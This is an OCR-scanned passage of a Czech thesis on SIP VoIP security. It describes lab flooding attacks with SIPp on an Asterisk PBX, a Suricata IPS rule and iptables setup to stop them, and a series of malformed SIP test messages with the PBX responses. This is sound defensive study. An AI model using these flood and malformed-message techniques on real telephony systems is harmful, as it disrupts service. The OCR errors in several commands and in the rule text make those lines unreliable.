IDS a IPS mechanismy a systémy jsou nezbytnymi nastroji modernich zabezpece-
nych siti. Sitove zalozené techniky musi byt implementovany v zatizenich, které maji

schopnost pozorovat sifovy provoz.
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7 hlediska SIP protokolu je vstupni bod do SIP sité optimalnim mistem pro
implementaci systému IDS a IPS, proto jsou fyzické firewally a brany sité nejlepsim
mistem pro implementaci. Ostatni zarizeni, jako SIP proxy servery, mohou také byt

pouZity v systémech IDS a IPS, ale nemusi zachytit vSechen sitovy provoz [26].

3.3.1 IDS

Systém IDS je schopny detekovat a zaznamenat neobvyklé aktivity. Rozlisuji se dva
hlavni typy systémii IDS:

o Sifové orientované

o Hostitelsky orientované
Tyto kategorie se vzajemné nevylucuji a mohou se vzajemné kombinovat v hyb-
ridni systémy. Hostitelsky orientovany systém IDS pracuje na jednom hostiteli, jeho
ukolem je zaznamenavat podezrelé a neopravnéné ¢innosti a zmény systémovych
soubort a konfiguraci. Sifové orientovany systém IDS zachycuje pakety a provadi
na nich kontrolu. Aby bylo mozno analyzovat provoz v siti, musi byt zachycovani
paketti provadéno na relevantnich castech sité.

Existuji také IDS systémy, které jsou integrovany do TCP/IP zésobniku. Diky
této vlastnosti davaji systému Sanci zachytit itocné pakety, nez se dostanou do

dilezité ¢asti systému nebo aplikace [26].

3.3.2 IPS

Systém IPS ma oproti systému IDS schopnost provést okamzitou akei (napt. zaho-
zeni paketu, ktery byl povazovan za skodlivy spolu s moznosti blokovat veskery dalsi
provoz z IP adresy nebo portu, ze kterého byl odeslan).

Techniky detekce a prevence jsou zalozeny bud na pozorovani statistickych od-
chylek, nebo na sledovani urc¢itych signatur (znaku), které jsou typické pro dané
typy utoku [26]. Detekce statistickych odchylek je zalozena na pozorovani standard-
niho chovani, které pozdéji vyuzije jako referenci. Jakmile jsou zaznamenany vzorce,
které se odlisuji od standardniho chovani, IPS systém vyhlasi poplach.

Techniky zalozené na detekci signatur spoléhaji na sadu pravidel definujicich
utocné metody, tato pravidla se porovnaji se sledovanymi daty a identifikuji pode-
zrely sitovy provoz [26]. Obé techniky maji své klady a zapory.

Technika statistickych odchylek mtze odhalit diive neznamé metody ttoku, ale
ma vyssi miru falesné pozitivnich vysledkl. Technika detekce signatur miize odhalit
pouze znamé utoky, ale oproti technice statistickych odchylek ma mnohem mensi

miru falesné pozitivnich vysledki. Obé techniky se daji pouzivat v realném case.
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3.4 Dalsi mechanismy

3.4.1 RELOAD

Protokol RELOAD (,,REsource LOcation And Discovery“) je P2P signalizacni pro-
tokol pro vSeobecné pouziti na internetu. Dokument RFC 7904 [27] definuje pouziti
protokolu RELOAD v SIP sitich, které umoznuje SIP UA sestavit P2P SIP relaci,
bez potifeby permanentnich proxy nebo registracnich servert. V takové siti proto-
kol RELOAD vykonava registracni a spojovaci sluzby obvykle spojené s takovymi
servery. Aplikace v SIP siti zahrnuje dvé zakladni funkce, kterymi jsou registrace

a spojovani [27].

1. Registrace: SIP UA mohou pouzivat funkci ukladani dat, protokolu RE-
LOAD, pro ulozeni namapované logické URI adresy uzivatele na fyzické URI
adresy zafizeni a k ziskani fyzickych URI adres ostatnich UA.

2. Spojovani: Jakmile SIP UA identifikuje URI adresu zafizeni, na které se na-
chazi URI adresa uzivatele, kterou chce zavolat, muze pouzit systém smérovani

zprav systému RELOAD k sestaveni primého spojeni pro vyménu zprav.

RELOAD definuje bezpecnostni model, zalozeny na certifikatech, ktery poskytuje
jedinecné identity. Prichod skrze NAT je zakladni sluzba protokolu RELOAD [2§].
Protokol RELOAD také umoznuje pristup klientskym uzltim, které nepotrebuji smé-

rovat provoz ani ukladat data pro ostatni.

3.4.2 Firewall

Brana firewall je systém, ktery uzivatelim umoznuje chranit pocita¢ pred neoprav-
nénym pripojenim, nebo chranit sit LAN (,,Lokélni sit“) pred utoky z vnéjsi sité.
Brana firewall také umoznuje kontrolovat pripojeni, ktera byla vytvorena nainstalo-
vanymi aplikacemi do vnéjsi sité nebo internetu. Pfipojeni v obou smérech je mozné
filtrovat pomoci ruznych kritérii, napr. cilova IP adresa, protokol transportni vrstvy,
aplikac¢ni protokol.

V kontextu SIP sité mohou byt brany firewall pouzity k zablokovani nechténych
prichozich nebo odchozich hovorti. Brana firewall musi byt pripojena k serveru, ktery
obsahuje databdzi uzivatelskych uctt. Takovymto serverem muze byt registracni

server [17].
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4 Prakticka cast

Tato cast je zamérena na popsani realizace ttoki na protokol SIP a navrzeni efek-
tivni obrany pro mitigaci. Predpokladem bylo, zZe iito¢nik mél ptristup do sité, ve které
se nachézi ustfedna Asterisk, na kterou byly utoky vedeny. Zvolenymi utoky byly
zaplavové utoky, utoky s upravenymi zpravami a MITM tutoky. Ve vsech ttocich
byl pouzit protokol SIP verze 2.0. Celé prostiedi utoku bylo virtualizovano néstro-
jem VirtualBox. Pocéitac, na kterém byly tutoky virtualizovany, obsahoval 4 jadrovy
procesor Intel Core i7 1065G7 Ice Lake frekvence 1,3 GHz a 16 GB opera¢ni paméti.

4.1 Zaplavové atoky

Prvnim zvolenym tutokem byl zaplavovy utok, jeho tcelem bylo znemoznéni ho-
voru mezi potencionalnimi ucastniky hovoru. Zaplavovy utok byl realizovan pomoci
nastroje SIPp s riznymi druhy zadosti. Zaplavovy utok je typ utoku, pri kterém
utocnik zasila velky pocet dotazi, které vycerpaji kapacitu serveru, coz vede k ode-
preni sluzby. Utoenik miize provést ttok s riznymi metodami protokolu SIP. Tyto
metody jsou napr. INVITE a REGISTER. Na obrazku [4.1] je vidét prubéh takového
utoku. Obrazek je prekreslen z [29)].

4.1.1 Realizace

Pro realizaci itoku byl na strané itoc¢nika pouzit nastroj SIPp, atok byl veden proti
PC s nainstalovanou telefonni tsttednou Asterisk verze 13.21-cert3, na kterém byly
registrovany 2 softwarové telefony Zoiper. Pro virtualizaci kazdého prvku bylo vzdy
vyuzito 1 virtualni jaddro. Obéma telefontim Zoiper bylo ptidéleno po 1 GB operacni
paméti, zbylym prvkim byly ptidéleny 2 GB operacni paméti. V tabulce je

zaznamenano pridéleni adres a na obrazku [4.2] je vidét propojeni v siti.

Tab. 4.1: Adresovani pri utoku

Role Rozhrani IP adresa
Utoénik ethO 192.168.10.6
Ustfedna ethO 192.168.10.4
Zoiperl ethO 192.168.10.7
Zoiper2 ethO 192.168.10.8

Nastroj SIPp lze pouzit k zasilani mnoha zprav najednou nebo jednotlivé. Zpravy pro

nastroj SIPp jsou napsany v jazyce XML. Pro spusténi SIPp je potieba zadat prikaz
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Utocnik SIP Server SIP UAS

INVITE N
7
, 100 INVITE N
N\ /7
INVITE N
/7
INVITE N
/7
p 180 , 180
N\ N\
INVITE \
/7
INVITE \
7
, 200 y 200
N\ N

Obr. 4.1: Princip zaplavového ttoku

Ustfedna Asterisk

Utoénik

Obr. 4.2: Architektura ttoku

sipp ip:port. Pro pouziti vlastnich zprav je potieba v prikazu odkazat pomoci -sf
na XML soubor se zpravou. Nastroj SIPp také umoznuje pomoci -m definovat pocet

celkoveé zaslanych zprav a —-r definuje rychlost, s jakou se maji zpravy posilat.
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Zaplavové utoky byly realizovany se zadostmi INVITE, REGISTER, OPTIONS,
CANCEL a BYE. Utok se zprdavou REGISTER byl nastaven tak, Ze po odesléni
zpravy utocnik pockal na odpovéd od serveru, ktera obsahovala hodnotu nonce,
potfebnou k autentizaci, na kterou utoc¢nik odpovédél statickou odpovédi a nonce
hodnotou. Tento postup mél za tkol vyvolat na serveru ovéreni spravnosti odpo-
vedi, ¢imz utocnik vyplytval dalsi vypocetni zdroje, které mohly byt pouzity k ob-
slouzeni legitimnich uzivatelu [8]. Nésledujici grafy zobrazuji vytizeni procesoru bé-
hem jednotlivych zéplavovych ttoki. Utoky byly zapocaty v 5. sekundé a trvaly
do 45. sekundy. Pokusy o hovor probéhly v 8. sekundé. Hodnoty byly vypocéteny

z informaci obsazenych v souboru /proc/stat a zaznamenany kazdou sekundu.
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Obr. 4.3: Vytizeni procesoru pri zaplavovém utoku s metodou INVITE
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Obr. 4.4: Vytizeni procesoru pri zaplavovém utoku s metodou REGISTER
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Obr. 4.5: Vytizeni procesoru pti zaplavovém utoku s metodou OPTIONS

32



35

30

25

20

15

ViytiZeni CPU [%]

10

0 5 10 15 20 25 30 35 40 45 50
Cas [s]

Obr. 4.6: Vytizeni procesoru pri zaplavovém utoku s metodou CANCEL
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Obr. 4.7: Vytizeni procesoru pri zaplavovém utoku s metodou BYE

Pouze zadosti INVITE a REGISTER dokazaly znemoznit komunikaci mezi te-

Vv

omezeny pocet spojeni, pokud jsou tato spojeni vycerpana a dalsi ticastnik se pokusi
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o uskutecnéni hovoru, dostane zpravu 403 - Forbidden bearer capability not
authorized a ustfedna hovor neumozni. Pro jedno spojeni je na tstredné nutné
otevtit 2 soubory a ustfedna v zdkladnim nastaveni umoznuje oteviit maximalné
1024 souborti. Na obrazku je vidét pokus o navazani hovoru pri utoku s meto-
dou INVITE, a na obrazku [£.9] je zndzornén graf poctu otevienych soubort az do
navratu na hodnoty pred ttokem. Hodnoty v grafu byly ziskany piikazem 1ls -1

/proc/$(pidof asterisk)/fd | wc -1 a zaznamenany kazdou sekundu.

From To Protocol Duration Packets State Comments
«<5ip:100@192.168.10.4;transport=UDP> <sip:200@192.168.10.4;transport=UDP= SIP 00:00:00 & REJECTED INVITE 401 403
192.168.10.7
Time 192.168.10.4 Comment
0.000000000 5064 INVITE SDP (g711A telephone-event) 060 SIP INVITE From: <sip:1008192.168.10.4:transpor...
0.002275370 e 0Ll X 560 SIP Status 401 Unauthorized
0.002823865 5064 ACK 5DED SIP ACK From: <sip:100@152.168.10.4;transport=...
0.003057523 5064 INVITE SDP (g711A telephone-event) 060 SIP INVITE From: <sip:100@152.168.10.4;transpor...
0.003366962 5064 403 Forbidden 060 SIP Status 403 Forbidden
0.004235889 e ACK = SIP ACK From: <sip:100@152.168.10.4:transport=...

Obr. 4.8: Pokus o hovor pri zaplavovém utoku s metodou INVITE
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Obr. 4.9: Pocet otevienych soubori pri zaplavovém ttoku s metodou INVITE

V pripadé zadosti REGISTER dostal ucastnik zpravu 408 - Request Timeout
recovery on timer expiry, znacici prili§ dlouhou dobu pro navazani hovoru, tudiz
se hovor neuskutecnil. Divodem neuskute¢néni hovoru bylo vysoké vytizeni proce-
soru znazornéné na obrazku [4.4 Na obrazku je vidét pokus o navazani hovoru
pri utoku s metodou REGISTER.
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From To Protocol Duration Packets State Comments
<sip:100@192.168.10.4;transport=UDP> <sip:200@192.168.10.4;transport=UDP> SIP 17 CALL SETUP INVITE 401
Time 1esns 192.168.10.4 Comment
0.000000000 5064 INVITE SDP {g711A telephone-event) 5060 SIP INVITE From: <sip:100@152.168.10.4;transpor...
0.500026030 5064 INVITE SDP {g711A telephone-event) 5060 SIP INVITE From: <sip:100@152.168.10.4;transpor...
1.500059797 5064 INVITE SDP {g711A telephone-event) 5060 SIP INVITE From: <sip:100@152.168.10.4;transpor...
2.501423009 5064 INVITE SDP {g711A telephone-event) 5060 SIP INVITE From: <sip:100@152.168.10.4;transpor...
3.526200165 5084 0Ll 500 SIP Status 401 Unauthorized
3.526664725 5054 LEL 5080 SIP ACK From: <sip: 100@192.168.10.4;transport=...
3.526890317 5084 INVITE SDP (g711A telephone-event) 5080 SIP INVITE From: <sip:100@152.168.10.4stransper...
4.025477906 5064 ALl 5080 SIP Status 401 Unauthorized
4.025649381 5084 ACK 5080 SIP ACK From: <sip:100@152.168.10.4;transport=...
4.027921722 5064 INVITE SDP {g711A telephone-event) 5080 SIP INVITE From: <sip: 100@192.168.10.4;transpor...
5.025585251 5064 401 L 5080 SIP Status 401 Unauthorized
5.025747462 5064 ACK 5080 SIP ACK From: <sip:1008192.168.10.4;transport=...
5.029277909 o INVITE SDP (g711A telephone-svent) 5080 SIP INVITE From: <sip: 100@192.168.10.4;transpor...
7.036414238 = INVITE SDP {g7114 telephone-event) = SIP INVITE From: <sip:100@152.168.10.4:transpar...
11.036672250 — INVITE SDP {g711A telephone-event) o SIP INVITE From: <sip:100@152.168.10.4stransper...
10.037150385 5064 INVITE SDP {g711A telephone-event) 5060 SIP INVITE From: <sip:100@152.168.10.4;transpor...
35.041378463 5064 INVITE SDP {g711A telephone-event) 5060 SIP INVITE From: <sip:100@152.168.10.4;transpor...

Obr. 4.10: Pokus o hovor pii zaplavovém utoku s metodou REGISTER

V tabulce [4.2] je vidét, jaké utoky byly tspésné a jakd byla jejich intenzita. Néstroj

SIPp dokazal generovat utoky o maximalni intenzité 30 000 zprav za sekundu.

Tab. 4.2: Prehled zaplavovych utoku

Metoda | Zpravy za sekundu | Vysledek utoku

REGISTER 20 000 Uspéch
INVITE 500 Uspéch

CANCEL 30 000 Netspéch
OPTIONS 30 000 Netuspéch
BYE 30 000 Netspéch

4.1.2 Mitigace zaplavovych utoku

Obrana byla zalozena na analyze prichozich SIP zprav. Kazda SIP zprava obsahovala
informace o zdroji a cili, jejich IP adresy a ¢isla porti. Obrana byla realizovana
pocitanim zprav v uréitém casovém intervalu pro rizné druhy zadosti. Pokud byl
z néjaké IP adresy odeslan nezvykly provoz, mechanismus jej detekoval a zpravy
z této IP adresy byly docasné zahazovany.

Pro castecné zabranéni falesné pozitivnich ptipadl je mozné vytvorit seznam
divéryhodnych adres. Mitigace byla realizovana pomoci IPS Suricata. [PS Suricata

byla nainstalovana na hrani¢ni prvek sité.
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V konfiguraénim souboru suricata.yaml byla aktivovana podpora protokolu
SIP a pridan soubor s pravidly local.rules. Soubor obsahoval 5 pravidel, ktera
méla za kol zabranit itokim s riznymi metodami. Na obrazku 1ze vidét umis-

téni IPS a v tabulce [4.3] je zaznamendano pridéleni adres.

LAN 1 P> LAN 2

Obr. 4.11: umisténi IPS Suricata

Tab. 4.3: Adresovani pri obrané

Role Rozhrani IP adresa

Utoénik ethO 10.0.2.8
IPS enp0s3 10.0.2.11
- enp0s8 | 192.168.10.20
Usttedna ethO 192.168.10.4
Zoiperl ethO 192.168.10.7
Zoiper2 ethO 192.168.10.8

Ukazka pravidla:

drop sip $EXTERNAL_NET any -> $HOME_NET any (msg:"SIP_,INVITE,
— flood";content:"INVITE"; flow:stateless; threshhold:
— type both, track by_src, count 70, seconds 10; sid
<~ :10001; rev:1; classtype:bad-unknown;)

Pravidlo ma za kol zahodit kazdy paket protokolu SIP s INVITE metodou, z libo-
volné IP adresy a portu pochazejici z externi sité, smérujici na libovolnou IP adresu

a port v domaci siti, ktery presahne pocet 70 pakett za 10 sekund.
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V ramci mitigace byl vSechen provoz, urceny k presmérovani, vlozen do fronty
NFQUEUE, v niz se aplikovala pravidla z IPS. Toto vlozeni do fronty bylo na-
staveno piikazem iptables -I FORWARD -j NFQUEUE. Aby se pravidla ze Suricaty

uplatnila, bylo potfeba provést dalsi apravu souboru suricata.yaml v sekci nfq.

Nastaveni nfq v suricata.yaml

nfq:
mode: repeat
repeat -mark: 1

repeat -mask: 1

Mod repeat vraci paket do iptables po aplikaci pravidel z IPS. Aby pakety necyklily
mezi iptables a IPS, bylo potieba pakety oznadit (nastaveni repeat-mark a repeat-
mask). Piikazem iptables -I FORWARD -m mark ! -mark 1/1 -j NFQUEUE bylo
do iptables pridano pravidlo, které oznacené pakety neprida do fronty pro IPS. Pri-
kazem suricata -c /etc/suricata/suricata.yaml -q O se spustil IPS Suricata

s nastavenim fronty:.

4.1.3 Vysledky

Bylo vyzkouseno 5 zaplavovych dtokt, kazdy z nich prenésel jiny druh zadosti,
z téchto tokt se povedlo dvéma znemoznit komunikaci mezi virtualizovanymi te-
lefony. Ostatni utoky nebyly tspésné, tato situace mohla nastat praveé kvuli virtu-
alizovanému prostredi, ve kterém nebyla omezena sitka pasma. Zpravy tedy nedo-
kazaly vycerpat jiné zdroje, jako v pripadé utoku s zadosti INVITE a REGISTER.
Béhem zéaplavového utoku se zadosti INVITE prisla tstfedna o schopnost navazat
nova spojeni, kvili nemoznosti otevrit nové soubory. Na obrazku je znazornén
graf otevrenych soubort béhem zaplavového utoku po aplikaci IPS. Béhem zaplavo-
vého utoku se zadosti REGISTER, tstiedna nemohla spojit tcastniky hovoru kvili
vysokému zatizeni procesoru. Na obrazku je znazornén graf vytizeni CPU po
aplikaci IPS.
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Obr. 4.12: Pocet otevienych soubort pii zaplavovém tutoku s metodou INVITE po
aplikaci IPS
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Obr. 4.13: Vytizeni procesoru pri zaplavovém utoku s metodou REGISTER po apli-
kaci IPS

Diky aplikaci IPS Suricata na hrani¢nim prvku a definovanym pravidlim je pro-
pusténo pouze 70 zadosti urcéité zpravy, tudiz nejsou zaplavové utoky dostatecné
uc¢inné. Vsechny incidenty jsou ukladany do logovaciho souboru fast.log, umisteé-

ného ve /var/log/suricata/fast.log, a legitimni ti¢astnici mohou komunikovat

bez preruseni.
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4.2 Upravené zpravy

Do ustteden byly pomoci néstroje SIPTorch [30] zaslany upravené zpravy, které mély
overit jejich stabilitu a bezpecnost. Testovanymi tustfednami jsou ustredny Asterisk
ve verzich 13.38.2, 15.2.0 a 18.3.0. Verze 13.38.2 vyuzivala pro tizeni protokolu SIP
stack chan_ sip, zbylé 2 stack chan_ pjsip. Ustfedny byly nakonfigurovany pro piijem
hovort z internetu bez autentizace. Nasledujicich 20 zprav vychazi z RFC 4475 [31].

4.2.1 Chybné c¢asové pasmo v zahlavi

Zpréava obsahuje ¢asové pasmo jiné nez GMT(greenwichsky cas) a proto je povazo-
vana za chybnou. Inteligentni tistfedna by méla byt schopna upravit ¢as na GMT,

popripadé by ustredna méla reagovat odpovédi 400 s divodem zamitnuti.

zprava:

INVITE sip:1000@192.168.10.12 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 331841884030416266032183

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060; branch=z9hG4bK-3127906273

To: "100" <sip:1000@192.168.10.12>

From: "siptorch" <sip:qcdtg@192.168.10.12>; tag
— =1207743944612431871292370123

CSeq: 1 INVITE

Content -Length: 152

Contact: <sip:qcdtg@192.168.10.12>

Date: Sun, 07 Mar 2021 22:40:37 EST

Vsechny testované tustredny odpovédély zpravou 200 OK.

4.2.2 Neukoncené uvozovky v zobrazeném jménu

Zprava je povazovana za chybnou, jelikoz obsahuje neuzaviené uvozovky v polich To
a From. Ustfedna by méla bud reagovat chybovou odpovédi, nebo zpravu zpracovat,
pokud nevyvola chybu pri parsovani.

zprava:

INVITE sip:100@192.168.10.12 SIP/2.0
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Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 655961055058401871428877

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-1027329129

O e e

Fron: "siptorch <sip:gltoz0192.168.10.12 ; tag
— =1103147665970153889797370378

CSeq: 1 INVITE

Content -Length: 152

Contact: <sip:gltoz@192.168.10.12>

Ustfedna Asterisk 13.38.2 reagovala odpovédi 416 Unsupported URI scheme, zbylé

ustfedny na zpravu nereagovaly.

4.2.3 Nespravna velikost téla zpravy

Pole Content-Length obsahuje hodnotu mnohem vétsi, nez je skutecna velikost
zpravy. Pri poslani protokolem UDP by méla tustfedna reagovat chybou. Pfi po-
slani protokolem TCP by méla tstiredna c¢ekat na dalsi data. Pokud data neptijdou

v rozumném case, méla by tstfedna ukoncit spojeni.

zprava:

INVITE sip:100@192.168.10.12 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 385347166222659025478910

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-1113397703

To: "100" <sip:100@192.168.10.12>

From: "siptorch" <sip:vdfdu@192.168.10.12>; tag
— =185575712088513016171160544

CSeq: 1 INVITE

Contact: <sip:vdfdu@192.168.10.12>

Vsechny testované ustredny odpovédély zpravou 200 OK. Pricemz vSechny odpoveé-

dély témeér bez zpozdéni.
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4.2.4 Nekonzistentni metoda CSeq

Zpréava je povazovana za nekorektni, jelikoz obsahuje rtizné metody v zahlavi a v poli
CSeq. Ustfedna by méla odpovédét chybou, nebo opravit metodu v poli CSeq.

zprava:

OPTIONS sip:1000@192.168.10.12 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 409358153189572352011735

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060; branch=z9hG4bK-931865344

To: "100" <sip:1000@192.168.10.12>

From: "siptorch" <sip:qdctz@192.168.10.12>; tag
— =465564281746222565473358758

CSeq: 5 INVITE

Content -Length: O

Contact: <sip:qdctz@192.168.10.12>

Ustfedna Asterisk 13.38.2 reagovala odpovédi 200 OK, zbylé tstiedny na zpravu

nereagovaly.

4.2.5 Starsi INVITE Zadost

Zprava je definovana dle RFC 2543 [32] a ma za tkol ovéfit zpétnou kompatibilitu.

Pokud tstredna neni zpétné kompatibilni, mize reakce na zpravu zpisobit jeji pad.

zprava:

INVITE sip:100@192.168.10.16 SIP/2.0

Accept: application/sdp

Call-ID: 183530633297488114926208

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060

To: "100" <sip:1000@192.168.10.16>

From: "siptorch" <sip:mviwl@192.168.10.16;user=phone>
CSeq: 1 INVITE

Testované tstredny na zpravu nereagovaly.
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4.2.6 Odpovéd neznamého typu

Zprava obsahuje odpovéd s ¢islem vétsim nez 699, ustfedna by z tohoto divodu méla

zpravu zahodit.

zprava:

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
<~ 0OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 273024525095886119359818

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-201905277

To: "100" <sip:1000@192.168.10.16>

From: "siptorch" <sip:wbggf@192.168.10.16>; tag
— =65281918797446816443979353

CSeq: 1 OPTIONS

Content -Length: O

Contact: <sip:wbggf@192.168.10.16>

Testované tstfedny na zpravu nereagovaly.

4.2.7 Neznama zadost

Zprava obsahuje neznamou metodu BLABLAMETHOD a zaroven se 1isi od metody

uvedené v poli Cseq. Nejvhodnéjsi odpovéd na zpravu je 501 Not Implemented.

zprava:

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 622747975115426862146972

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-3338555096

To: "100" <sip:1000@192.168.10.16>

From: "siptorch" <sip:xwmne@192.168.10.16>;tag
—» =320874439593454202349035814
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Content -Length: 152
Contact: <sip:xwmne@192.168.10.16>

Ustfedna Asterisk 13.38.2 reagovala odpovédi 501 Method Not Implemented, Gstredny
Asterisk 18.3.0 a 15.2.0 odpovédi 501 Not Implemented.

4.2.8 Mezery v poli To

Zprava typu OPTIONS obsahuje mezery navic v poli pifjemce. Ustfedny by mély
reagovat odpoveédi 400 Bad Request.

zprava:

OPTIONS sip:1000192.168.10.16 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
<~ OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 60969743907434974117759

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-1869539009

To: "100« sip:100@192.168.10.16 >

From: "siptorch" <sip:hmyuq@192.168.10.16>; tag
— =468384698722925256238494288

CSeq: 1 OPTIONS

Content -Length: O

Contact: <sip:hmyuq@192.168.10.16>

Vsechny testované tustredny odpovédély zpravou 200 OK, coz je podle doporuceni

RFC chyba, nicméné prijeti zpravy nemélo vliv na funkci tstredny.

4.2.9 Vice polozek Content length

Test ma za kol zjistit, jak se budou chovat tstredny, pokud pfijmou zpravu typu
OPTIONS se 2 polozkami Content-length s riiznymi hodnotami.

zprava:

OPTIONS sip:100@192.168.10.16 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 1018744789377658671785069
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User-Agent: siptorch/0.1
Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-2961762909
To: "100" <sip:1000192.168.10.16>
From: "siptorch" <sip:1nqdp@192.168.10.16>; tag
— =637326325463392311905443718
CSeq: 1 OPTIONS

Contact: <sip:1nqdp@192.168.10.16>

Vsechny testované tstiedny odpovédeély zpravou 200 OK.

4.2.10 Vice polozek Via

Zprava s metodou OPTIONS obsahuje vice polozek Via, tedy moznosti transportu.
Jedna z poloZek Via obsahuje nezndmou metodu transportu. Ustfedny by mély

zpravu standardné zpracovat a neodpovédét chybou.

zprava:

OPTIONS sip:1000192.168.10.16 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 1173451400434832074472089

User-Agent: siptorch/0.1

To: "100" <sip:1000@192.168.10.16>
From: "siptorch" <sip:xqeo0g@192.168.10.16>; tag
— =212032763791770184907064578

CSeq: 1 OPTIONS
Content -Length: O
Contact: <sip:xqeo0g@192.168.10.16>

Vsechny testované ustredny odpoveédély zpravou 200 OK, pricemz v odpovédi uvedly

vSechny moznosti prenosu.
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4.2.11 Chybéjici ID transakce

Ve zpravé je odstranéna identifikace transakce v polozce branch. Identifikator vzdy
zacind hodnotou z9hG4bK, ktera je nasledovana dalsimi znaky. V této zpraveé jsou

tyto znaky odstranény. Ustfedna by méla odpovédét a nereagovat chybou.

zprava:

INVITE sip:1000@192.168.10.16 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 347264945481601033362223

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK

To: "100" <sip:1000192.168.10.16>

From: "siptorch" <sip:1hibe@192.168.10.16>; tag
— =991856091166388142514755139

CSeq: 1 INVITE

Content-Length: 152

Contact: <sip:1hibe@192.168.10.16>

Vsechny testované tstredny odpoveédély zpravou 200 OK, tedy dle doporuceni RFC.

4.2.12 Max Forwards obsahuje 0

Polozka Max-Forwards se pri prechodu prvkem snizi o 1, pokud je nastavena na
nulu, tak by méla byt zprava na dalsim prvku zahozena. Ustfedny by mély zareago-
vat odpovedi 483 Too Many Hops.

zprava:

OPTIONS sip:1000192.168.10.16 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: O

Accept: application/sdp

Call-ID: 556288749818370270959558

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060; branch=z9hG4bK-2609061120

To: "100" <sip:1000192.168.10.16>

From: "siptorch" <sip:sjamz@192.168.10.16>; tag
— =204078549998212143504036565
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CSeq: 1 OPTIONS
Content -Length: O
Contact: <sip:sjamz@192.168.10.16>

Vsechny testované ustfedny zpravu prijaly a reagovaly odpovédi 200 OK, coz je

v rozporu s doporucenim RFC, ale opét zprava neméla vliv na funkci tstredny.

4.2.13 Parametr navic v URI

Zpréva obsahuje v poli Request-URI stfednik a specidlni znak. Ustfedny by mély

pozadavek prijmout a hodnotu zpracovat jako 100;param=u@infectedsip.net.

zprava:

OPTIONS sip:100;param=uj40infectedsip.net@192.168.10.12 SIP/2.0
Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE
Max-Forwards: 70
Accept: application/sdp, application/pkcs7-mime, multipart/
— mixed, multipart/signed, message/sip, message/sipfrag
Call-ID: 50646042224552581660332
User-Agent: siptorch/0.1
Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-725659124
To: "100" <sip:100@192.168.10.12>
From: "siptorch" <sip:czohf@192.168.10.12>; tag
— =658089135313925306313962199
CSeq: 1 OPTIONS
Content-Length: O
Contact: <sip:czohf@192.168.10.12>

Vsechny testované tsttedny odpovédély zpravou 200 OK.

4.2.14 Chybna hodnota pole Accept

Pole Accept oznacuje, jakého typu ma byt télo odpovédi. Standardni hodnota je ap-
plication/sdp, avsak v tomto pfipadé byla pouzita nezndm4 hodnota. Ustiedny by

mély odpovédét chybou, z nichz je nejvhodnéjsi odpoved typu 406 Not Acceptable.

zprava:

REGISTER sip:192.168.10.12 SIP/2.0
Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70
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Accept: text/vhifomz
Call-ID: 673082272268082621720055
User-Agent: siptorch/0.1
Via: SIP/2.0/UDP 127.0.1.1:5060; branch=z9hG4bK-3029378288
To: "2000" <sip:20000@192.168.10.12>
From: "2000" <sip:2000@192.168.10.12>;tag
— =828692537361191141235927109
CSeq: 1 REGISTER
Content -Length: O
Contact: <sip:hwarp@192.168.10.12>

Ustfedna Asterisk 13.38.2 nepfijala zpravu a reagovala odpovédi 401 Unauthorized,

ostatni dstfedny zpravu také nepfijaly a reagovaly odpovédi 403 Forbidden.

4.2.15 Vice zadosti v jednom paketu

